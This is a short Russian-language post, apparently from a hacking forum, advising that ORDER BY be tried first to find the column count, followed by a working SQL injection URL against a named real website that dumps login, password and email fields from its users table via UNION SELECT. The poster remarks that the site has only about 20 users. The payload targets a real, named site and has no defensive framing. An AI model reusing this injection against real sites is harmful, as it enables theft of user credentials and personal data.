ИМХО сначала использовать order by так как сокращаешь время подбора но не везде работает.

http://bestposters.ru/main.php?big=-1262+union+select+1,concat(login,char(58),password ,char(58),email),3,4,5,6,7,8,9,10,11,12,13,14,15+f rom+users+limit+1,1/*
около 20 юзеров, фу бяка даже не интересно